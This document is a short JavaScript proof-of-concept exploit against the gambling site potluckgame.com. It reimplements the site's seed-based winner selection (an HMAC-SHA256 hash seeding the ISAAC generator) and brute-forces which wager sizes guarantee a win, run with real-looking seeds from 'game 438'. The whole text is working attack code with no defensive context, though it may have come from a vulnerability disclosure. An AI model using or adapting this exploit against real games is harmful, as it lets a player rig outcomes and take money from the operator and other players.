Discover winning wager sizes for potluckgame.com

potluck_poc.js

const { createHmac } = require("crypto")
const isaac = require("isaac")


const MIN_WAGER = 100
const MAX_WAGER = 25000

function createHMACHash(key, data) {
  const hmac = createHmac("sha256", key)
  hmac.update(data)
  return hmac.digest("hex")
}

/**
 * generate a random number using isaac RNG
 * @param {String} seed - the seed for isaac RNG
 * @returns {Number} Random number between 0.0 and 1.0
*/
function isaacRandom(seed) {
  isaac.seed(seed)
  return isaac.random()
}

/**
 * find the winner.
 * @param {String} serverSeed - the server seed for current game
 * @param {String} clientSeed
 * @param {Number} totalTickets - total number of tickets issued for this game
 * @returns {Object} the user object for winner
*/
function findWinningTicket(serverSeed, clientSeed, totalTickets) {
  const rngSeed = createHMACHash(serverSeed, `${clientSeed}-${totalTickets}`)
  const luckyFraction = isaacRandom(rngSeed)
  let winningTicket
  winningTicket = Math.floor(totalTickets * luckyFraction)
  return winningTicket // find the owner of this ticket from database.
}

// findWinningWagers returns an array of winning wager sizes for the given seeds
// and number of tickets already disbursed.
//
// It assumes that no other players are able to join after placing the wager.
function findWinningWagers(serverSeed, clientSeed, previousTickets) {
  const winningWagers = []
  for (let tickets = MIN_WAGER; tickets <= MAX_WAGER; tickets++) {
    const winningTicket = findWinningTicket(serverSeed, clientSeed, previousTickets + tickets)
    if (winningTicket >= previousTickets) {
      winningWagers.push(tickets)
    }
  }
  return winningWagers
}

// seeds from game 438
// assuming ten players have all placed the maximum wager
console.time("search")
const winners = findWinningWagers("1ffdd9ced662c29aec62641716bb98e0423ee11e597f177f77efff28db7cc9f5", "000000000000000000f0ff7ff2743293fca00e3c0247708822365b353e8d27f6", 10*MAX_WAGER)
console.timeEnd("search")
console.log(`There are ${winners.length} winning wagers we could place.`)